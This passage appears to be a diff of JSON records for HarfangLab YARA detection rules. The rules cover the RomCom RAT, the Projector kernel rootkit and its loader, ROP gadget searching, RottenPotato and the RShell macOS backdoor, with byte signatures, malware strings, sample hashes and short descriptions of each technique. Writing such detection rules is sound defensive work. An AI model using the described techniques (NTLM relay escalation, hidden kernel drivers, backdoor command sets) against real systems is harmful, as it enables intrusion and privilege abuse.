+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.568896Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blogs.blackberry.com/en/2022/11/romcom-spoofing-solarwinds-keepass"
+  ],
+  "name": "romcom_payload.yar",
+  "content": "rule romcom_payload {\n    meta:\n        title = \"RomCom RAT Payload\"\n        id = \"daf31b29-795e-463a-8fde-91221db0f600\"\n        description = \"Detects the RomCom RAT payload.\\nRomCom is a Remote Access Trojan (RAT) associated with an attacker group known for embedding malicious payloads within legitimate applications like KeePass, SolarWinds, and PDF readers.\\nThe RomCom RAT establishes command and control communication to perform various malicious activities on an infected system.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://blogs.blackberry.com/en/2022/11/romcom-spoofing-solarwinds-keepass\"\n        date = \"2022-11-04\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1071.001\"\n        classification = \"Windows.Trojan.RomCom\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 2318ae5d7c23bf186b88abecf892e23ce199381b22c8eb216ad1616ee8877933\n\n        $s1 = \"WinHTTP Example/1.0\" fullword wide\n        $s2 = \"PUBLIC\" fullword wide\n\n        $xor_decryption_seq = {\n            44 32 4F 0B                 // xor     r9b, [rdi+0Bh]\n            44 32 4F 0A                 // xor     r9b, [rdi+0Ah]\n            44 32 4F 08                 // xor     r9b, [rdi+8]\n            44 32 4F 07                 // xor     r9b, [rdi+7]\n            44 32 4F 05                 // xor     r9b, [rdi+5]\n            44 32 4F 04                 // xor     r9b, [rdi+4]\n            44 32 CE                    // xor     r9b, sil\n        }\n\n        $write_encrypted_data_to_file = {\n            75 ??                       // jnz     short loc_18007047E\n            85 FF                       // test    edi, edi\n            75 ??                       // jnz     short loc_180070463\n            45 8D 46 F7                 // lea     r8d, [r14-9]\n            41 81 E0 FF 0F 00 80        // and     r8d, 80000FFFh\n            7D ??                       // jge     short loc_18007045D\n            41 FF C8                    // dec     r8d\n            41 81 C8 00 F0 FF FF        // or      r8d, 0FFFFF000h\n            41 FF C0                    // inc     r8d\n            48 8D 55 09                 // lea     rdx, [rbp+9\n            EB ??                       // jmp     short loc_18007049F\n            45 8B C6                    // mov     r8d, r14d\n            41 81 E0 FF 0F 00 80        // and     r8d, 80000FFFh\n            7D ??                       // jge     short loc_180070494\n            41 FF C8                    // dec     r8d\n            41 81 C8 00 F0 FF FF        // or      r8d, 0FFFFF000h\n            41 FF C0                    // inc     r8d\n            EB ??                       // jmp     short loc_180070494\n            85 FF                       // test    edi, edi\n            75 ??                       // jnz     short loc_18007048E\n            48 8D 55 09                 // lea     rdx, [rbp+9]\n            41 B8 F7 0F 00 00           // mov     r8d, 0FF7h\n            EB 11                       // jmp     short loc_18007049F\n            41 B8 00 10 00 00           // mov     r8d, 1000h      ; nNumberOfBytesToWrite\n            8B C7                       // mov     eax, edi\n            C1 E0 0C                    // shl     eax, 0C\n        }\n\n    condition:\n        #xor_decryption_seq > 15 and $write_encrypted_data_to_file and all of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "romcom_payload"
+  ],
+  "rule_creation_date": "2022-11-04",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.RomCom"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-rootkit_projector_driver_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.578068Z",
+  "creation_date": "2026-03-23T11:46:25.578070Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.578076Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/struppigel/status/1551503748601729025"
+  ],
+  "name": "rootkit_projector_driver.yar",
+  "content": "rule rootkit_projector_driver {\n    meta:\n        title = \"Projector Kernel Rootkit\"\n        id = \"08fc4ec2-62d6-4f9e-9e6a-765863b54a6b\"\n        description = \"Detects the Projector kernel driver rootkit. Projector was first spotted in May 2022 and is a Microsoft-signed kernel rootkit that has the ability to hide its actions through minifilters and Windows kernel callbacks.\\nIt is recommended to check for any unexpected processes or files related to the Projector rootkit components, such as minifilters or kernel-mode drivers, to ensure system integrity.\"\n        references = \"https://twitter.com/struppigel/status/1551503748601729025\"\n        date = \"2022-07-26\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.persistence;attack.t1547.006\"\n        classification = \"Windows.Rootkit.Projector\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 0f5e3d33c824f9f03d038b4f1a376b15cc5f1694aef086bd17c516ad951fc45a\n        // 7da5e6b6212c03d4d862795d05aace1a06db4943489cb639b9ca9a88563c9d0f\n        // 8fb3d3db095920345cafc55821598b4f46f8d756caf2f18016e331e5567e6a41\n        // 71a12491b91eff58d2c834160bf8eb03be2e78548c9d06f435b31d9e7dcaecd8\n\n        $driver_loading_str_1 = \"IoCreateDriver\" fullword wide\n        $driver_loading_str_2 = \"RtlImageDirectoryEntryToData\" fullword wide\n        $driver_loading_str_3 = \"RtlQueryModuleInformation\" fullword wide\n\n        $s1 = \"D:P(A;;GA;;;SY)(A;;GRGWGX;;;BA)(A;;GRGWGX;;;WD)(A;;GRGWGX;;;RC)\" fullword wide  // Security descriptor\n        $s2 = \"%u:<%wZ>\" fullword wide  // Format strings\n        $s3 = \"\\\\Device\\\\Projector_Pro1_deviced\" fullword wide\n        $s4 = \"\\\\??\\\\Projector_Pro1_deviced\" fullword wide\n        $s5 = \"\\\\Device\\\\KB_VRX_deviceVRd\" fullword wide\n        $s6 = \"\\\\??\\\\KB_VRX_deviceVRd\" fullword wide\n        $s7 = \"\\\\Device\\\\WfpVpnUsrCtlX\" fullword wide\n        $s8 = \"\\\\DosDevices\\\\WfpVpnUsrCtlX\" fullword wide\n        $s9 = \"vpn.sys\" fullword wide\n\n        $op_time_check = {\n            75 ??              // jnz     short loc_1400193F9\n            E8 ?? ?? ?? ??     // call    PrGetCurrentTime\n            2B 05 ?? ?? ?? ??  // sub     eax, cs:gInitTime\n            3D 88 13 00 00     // cmp     eax, 1388h\n            0F 82 ?? ?? ?? ??  // jb      loc_140019495\n        }\n\n        $op_allocate_pool_with_tag = {\n            48 81 FB 00 00 40 01  // cmp     rbx, 1400000h\n            0F 87 ?? ?? ?? ??     // ja      loc_14001897F\n            41 B9 53 63 61 6E     // mov     r9d, 'nacS'     ; Tag\n            4C 8B C3              // mov     r8, rbx         ; NumberOfBytes\n            33 D2                 // xor     edx, edx        ; PoolType\n            48 8B CF              // mov     rcx, rdi        ; Instance\n            E8 ?? ?? ?? ??        // call    FltAllocatePoolAlignedWithTag\n        }\n\n    condition:\n        uint16(0) == 0x5a4d and filesize < 2MB and all of ($driver_loading_str_*) and 3 of ($s*) and 1 of ($op*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "rootkit_projector_driver"
+  ],
+  "rule_creation_date": "2022-07-26",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Rootkit.Projector"
+  ],
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1547.006"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-rootkit_projector_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.574901Z",
+  "creation_date": "2026-03-23T11:46:25.574903Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.574909Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/struppigel/status/1551503748601729025"
+  ],
+  "name": "rootkit_projector.yar",
+  "content": "rule rootkit_projector_loader {\n    meta:\n        title = \"Projector Rootkit Loader\"\n        id = \"e3a6c6b4-7c56-417e-adc0-8b8c83c3dfad\"\n        description = \"Detects the Projector kernel driver rootkit loader.\\nProjector, first identified in May 2022, is a sophisticated Microsoft-signed kernel rootkit. It leverages minifilters and Windows kernel callbacks to hide its activities, enabling persistence and evading detection. The rootkit loads via specific driver-related functions and manipulates system structures to maintain stealth.\\nIt is recommended to scan for unauthorized kernel drivers, terminate any associated processes, and ensure no malicious modifications have been made.\"\n        references = \"https://twitter.com/struppigel/status/1551503748601729025\"\n        date = \"2022-07-26\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.persistence;attack.t1547.006\"\n        classification = \"Windows.Rootkit.Projector\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 7da5e6b6212c03d4d862795d05aace1a06db4943489cb639b9ca9a88563c9d0f\n        // 0f5e3d33c824f9f03d038b4f1a376b15cc5f1694aef086bd17c516ad951fc45a\n\n        $driver_loading_str_1 = \"IoCreateDriver\" fullword wide\n        $driver_loading_str_2 = \"RtlImageDirectoryEntryToData\" fullword wide\n        $driver_loading_str_3 = \"RtlQueryModuleInformation\" fullword wide\n\n        $resource_str_1 = \"D:P(A;;GA;;;SY)(A;;GRGWGX;;;BA)(A;;GRGWGX;;;WD)(A;;GRGWGX;;;RC)\" fullword wide  // Security descriptor\n        $resource_str_2 = \"%u:<%wZ>\" fullword wide  // Format strings\n        $resource_str_3 = \"\\\\Device\\\\Projector_Pro1_deviced\" fullword wide\n        $resource_str_4 = \"\\\\??\\\\Projector_Pro1_deviced\" fullword wide\n        $resource_str_5 = \"\\\\Device\\\\KB_VRX_deviceVRd\" fullword wide\n        $resource_str_6 = \"\\\\??\\\\KB_VRX_deviceVRd\" fullword wide\n        $resource_str_7 = \"\\\\Device\\\\WfpVpnUsrCtlX\" fullword wide\n        $resource_str_8 = \"\\\\DosDevices\\\\WfpVpnUsrCtlX\" fullword wide\n        $resource_str_9 = \"vpn.sys\" fullword wide\n\n        $loader_str_1 = \"link111:%s\" fullword ascii\n        $loader_str_2 = \"SysName\" fullword ascii\n        $loader_str_3 = \"%s%s.sys\" fullword ascii\n        $loader_str_4 = \"ChaPox2\" fullword ascii\n        $loader_str_5 = \".sys\" fullword ascii\n        $loader_str_6 = \"System32\\\\drivers\\\\\" fullword ascii\n        $loader_str_7 = \"NewSys\" fullword ascii\n        $loader_str_8 = \"OldSys\" fullword ascii\n        $loader_str_9 = \"MyDriver264\" fullword ascii\n\n        $op_name_randomization = {\n            33 C9              // xor     ecx, ecx\n            FF 15 ?? ?? ?? ??  // call    cs:_time64\n            48 8B C8           // mov     rcx, rax        ; Seed\n            FF 15 ?? ?? ?? ??  // call    cs:srand\n            FF 15 ?? ?? ?? ??  // call    cs:rand\n            44 8B C0           // mov     r8d, eax\n            B8 D3 20 0D D2     // mov     eax, 0D20D20D3h\n            41 F7 E8           // imul    r8d\n            41 03 D0           // add     edx, r8d\n            C1 FA 05           // sar     edx, 5\n            8B CA              // mov     ecx, edx\n            C1 E9 1F           // shr     ecx, 1Fh\n            03 D1              // add     edx, ecx\n            6B CA 27           // imul    ecx, edx, 27h ; '''\n            44 2B C1           // sub     r8d, ecx\n            41 83 F8 27        // cmp     r8d, 27h ; '''\n        }\n\n        $op_write_drv = {\n            41 B8 0B 00 00 00        // mov     r8d, 0Bh        ; Size\n            48 8D 15 ?? ?? ?? ??     // lea     rdx, aMydriver264 ; \"MyDriver264\"\n            48 8D 8D ?? 00 00 00     // lea     rcx, [rbp+0F40h+var_E78] ; void *\n            E8 ?? ?? ?? ??           // call    sub_14000AC30\n            48 8D 8D ?? 00 00 00     // lea     rcx, [rbp+0F40h+var_E78]\n            E8 ?? ?? ?? ??           // call    sub_1400150D0\n            BA 03 01 00 00           // mov     edx, 103h       ; uSize\n            48 8D 8D ?? ?? 00 00     // lea     rcx, [rbp+0F40h+Buffer] ; lpBuffer\n            FF 15 ?? ?? ?? ??        // call    cs:GetSystemDirectoryA\n            C7 44 ?? ?? A3 00 00 00  // mov     [rsp+10E0h+var_1090], 0A3h ; '£'\n            C7 44 ?? ?? 8C 00 00 00  // mov     [rsp+10E0h+var_1098], 8Ch ; 'Œ'\n            C7 44 ?? ?? 8D 00 00 00  // mov     [rsp+10E0h+var_10A0], 8Dh\n            C7 44 ?? ?? 9A 00 00 00  // mov     [rsp+10E0h+var_10A8], 9Ah ; 'š'\n            C7 44 ?? ?? 89 00 00 00  // mov     dword ptr [rsp+10E0h+hTemplateFile], 89h ; '‰'\n            C7 44 ?? ?? 96 00 00 00  // mov     [rsp+10E0h+dwFlagsAndAttributes], 96h ; '–'\n            C7 44 ?? ?? 8D 00 00 00  // mov     [rsp+10E0h+dwCreationDisposition], 8Dh\n            BA 09 00 00 00           // mov     edx, 9\n            41 B9 9B 00 00 00        // mov     r9d, 9Bh ; '›'\n        }\n\n    condition:\n        uint16(0) == 0x5a4d and filesize < 4MB and all of ($driver_loading_str_*) and 3 of ($resource_str_*) and 5 of ($loader_str_*) and 1 of ($op*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "rootkit_projector_loader"
+  ],
+  "rule_creation_date": "2022-07-26",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Rootkit.Projector"
+  ],
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1547.006"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-rop_gadget_search_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.566110Z",
+  "creation_date": "2026-03-23T11:46:25.566112Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.566118Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/JLospinoso/gargoyle/\nhttps://media.defcon.org/DEF%20CON%2032/DEF%20CON%2032%20presentations/DEF%20CON%2032%20-%20Bramwell%20Brizendine%20Shiva%20Shashank%20Kusuma%20-%20Techniques%20for%20Creating%20Process%20Injection%20Attacks%20with%20Advanced%20Return-Oriented%20Programming%20white%20paper.pdf"
+  ],
+  "name": "rop_gadget_search.yar",
+  "content": "rule rop_gadget_search {\n    meta:\n        title = \"ROP Gadget Search\"\n        id = \"e805adba-7867-4c3c-b34e-3b821165b649\"\n        description = \"Detects code patterns associated with ROP (Return-oriented programming) pattern searches.\\nROP (Return-oriented programming) patterns are structured sequences of gadgets (assembly instructions) designed to achieve a specific outcome by manipulating execution flow.\\nDifferent patterns in existing code and libraries can essentially be chained together, allowing for multiple WinAPIs to function in unison; this facilitates the execution of complex tasks that would usually require shellcode to be achieved, all done without the use of traditional shellcode.\\nThis rule detects patterns that look for executable sections of existing DLLs and arguments used for executable memory allocation.\\nIt is recommended to investigate processes using with unusual callback patterns, examine memory regions containing the detected code sequences, analyze parent-child process relationships, and correlate with other suspicious behaviors such as process injection, memory allocation in remote processes, or unsigned code execution.\"\n        references = \"https://github.com/JLospinoso/gargoyle/\\nhttps://media.defcon.org/DEF%20CON%2032/DEF%20CON%2032%20presentations/DEF%20CON%2032%20-%20Bramwell%20Brizendine%20Shiva%20Shashank%20Kusuma%20-%20Techniques%20for%20Creating%20Process%20Injection%20Attacks%20with%20Advanced%20Return-Oriented%20Programming%20white%20paper.pdf\"\n        date = \"2025-11-17\"\n        modified = \"2025-11-24\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1055.009\"\n        classification = \"Windows.Generic.RopGadgetSearch\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // e9e9b3501a745f285f1d4e164520842e0128db694e56c85f74f3a2b44144bcdb\n        // 54044abd4d781a88a304e684bce7dfe959fa087729d89256d798f8445da4d233\n        // d1ad71445b7ce560d362f8ca5e5c1f7c0a87c4548a81f708dea95649d61458ee\n\n        // This detection is based on the Gargoyle implementation:\n        // 1. Search of memory executable sections in DLLs\n        // 2. VirtualProtectEx Arguments\n\n        // 1.\n        //    if (section_header->Characteristics & IMAGE_SCN_MEM_EXECUTE) {\n        //      filtered_section_headers.push_back(section_header);\n        //      printf(\"[ ] Found executable section \\\"%s\\\" at 0x%p.\\n\", section_header->Name, dll_base + section_header->VirtualAddress);\n        //    }\n        $system_dll_rop_gadget_search = {\n            8B 45 BC                // mov     eax, dword [ebp-0x44 {var_48}]\n            8B 48 24                // mov     ecx, dword [eax+0x24 {_IMAGE_SECTION_HEADER::Characteristics}]\n            81 E1 00 00 00 20       // and     ecx, 0x20000000 // Look for executable sections in DLL\n            (74|75|76)              // je      0x4421e7\n        }\n\n        // 2.\n        $pic_allocation_args = {\n            6A (04|40)              // push    0x40 {flProtect} // PAGE_READWRITE | PAGE_EXECUTE_READWRITE\n            68 00 30 00 00          // push    0x3000 {flAllocationType} // MEM_COMMIT | MEM_RESERVE\n        }\n\n        $exclusion_ibw30 = \"@oclcpica.nl/\" ascii\n\n    condition:\n        $pic_allocation_args and $system_dll_rop_gadget_search and not 1 of ($exclusion_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "rop_gadget_search"
+  ],
+  "rule_creation_date": "2025-11-17",
+  "rule_modified_date": "2025-11-24",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.RopGadgetSearch"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055.009"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-rottenpotato_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.576214Z",
+  "creation_date": "2026-03-23T11:46:25.576217Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.576222Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/breenmachine/RottenPotatoNG\nhttps://attack.mitre.org/techniques/T1068/"
+  ],
+  "name": "rottenpotato.yar",
+  "content": "rule rottenpotato {\n    meta:\n        title = \"RottenPotato HackTool\"\n        id = \"33b2cf53-ec67-4e05-9fe4-948457da7360\"\n        description = \"Detects the RottenPotato HackTool.\\nRottenPotato is a privilege escalation tool that leverages NTLM relay to enable local privilege escalation. It takes advantage of the Windows NTLM authentication protocol to capture and reuse credentials, allowing attackers to escalate privileges within a compromised system.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://github.com/breenmachine/RottenPotatoNG\\nhttps://attack.mitre.org/techniques/T1068/\"\n        date = \"2024-02-01\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068\"\n        classification = \"Windows.HackTool.RottenPotato\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // f47795749ee04612e976771b8bfb548a224dd713c9fe39d58d5c948ba5578d9e\n\n        $s1 = \"Error in AquireCredentialsHandle\" ascii fullword\n        $s2 = \"WSAStartup failed with error: %d\" ascii fullword\n        $s3 = \"RPC -> recv failed with error: %d\" ascii fullword\n        $s4 = \"RPC -> send failed with error: %d\" ascii fullword\n        $s5 = \"RPC -> bytes Sent: %ld\" ascii fullword\n        $s6 = \"RPC-> Connection closed\" ascii fullword\n        $s7 = \"COM -> bytes sent: %d\" ascii fullword\n        $s8 = \"COM -> send failed with error: %d\" ascii fullword\n        $s9 = \"COM -> bytes received: %d\" ascii fullword\n        $s10 = \"COM -> recv failed with error: %d\" ascii fullword\n        $s11 = \"Waiting for auth...\" ascii fullword\n        $s12 = \"Auth result: %d\" ascii fullword\n        $s13 = \"MSFRottenPotato.pdb\" ascii\n\n    condition:\n        8 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "rottenpotato"
+  ],
+  "rule_creation_date": "2024-02-01",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.RottenPotato"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-rshell_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.577566Z",
+  "creation_date": "2026-03-23T11:46:25.577568Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.577574Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.sekoia.io/luckymouse-uses-a-backdoored-electron-app-to-target-macos/\nhttps://www.trendmicro.com/en_us/research/22/h/irontiger-compromises-chat-app-Mimi-targets-windows-mac-linux-users.html"
+  ],
+  "name": "rshell.yar",
+  "content": "rule rshell {\n    meta:\n        title = \"RShell Malware\"\n        id = \"1fa44713-2eec-43b4-9909-ae272275ad3d\"\n        description = \"Detects the RShell backdoor.\\nRShell is a C++ macOS backdoor used by the LuckyMouse attacker group.\\nIt allows attackers to issue commands to a target macOS host and communicates using Binary JSON (BSON) over TCP sockets without encryption.\"\n        references = \"https://blog.sekoia.io/luckymouse-uses-a-backdoored-electron-app-to-target-macos/\\nhttps://www.trendmicro.com/en_us/research/22/h/irontiger-compromises-chat-app-Mimi-targets-windows-mac-linux-users.html\"\n        date = \"2022-11-08\"\n        modified = \"2025-03-12\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1095\"\n        classification = \"MacOS.Malware.RShell\"\n        context = \"process,memory,file.macho\"\n        os = \"MacOS\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $c2_commands_1 = {\n            64 69 72 00                     // dir\n            70 61 74 68 00                  // path\n            64 6F 77 6E 00                  // down\n            72 65 61 64 00                  // read\n            75 70 6C 6F 61 64 00            // upload\n            77 72 69 74 65 00               // write\n            64 65 6C                        // del\n        }\n        $c2_commands_2 = {\n            6C 6F 67 69 6E 00               // login\n            68 6F 73 74 6E 61 6D 65 00      // hostname\n            6C 61 6E 00                     // lan\n            75 73 65 72 6E 61 6D 65 00      // username\n            76 65 72 73 69 6F 6E            // version\n        }\n\n    condition:\n        uint32be(0) == 0xcffaedfe and all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "rshell"
+  ],
+  "rule_creation_date": "2022-11-08",
+  "rule_modified_date": "2025-03-12",
+  "rule_os": [
+    "macos"
+  ],
+  "rule_classifications": [
+    "MacOS.Malware.RShell"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1095"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "memory",
+    "file.macho",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-rubeus_c01d93bfcf19_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.585009Z",
+  "creation_date": "2026-03-23T11:46:25.585012Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.585017Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/GhostPack/Rubeus"
+  ],
+  "name": "rubeus_c01d93bfcf19.yar",
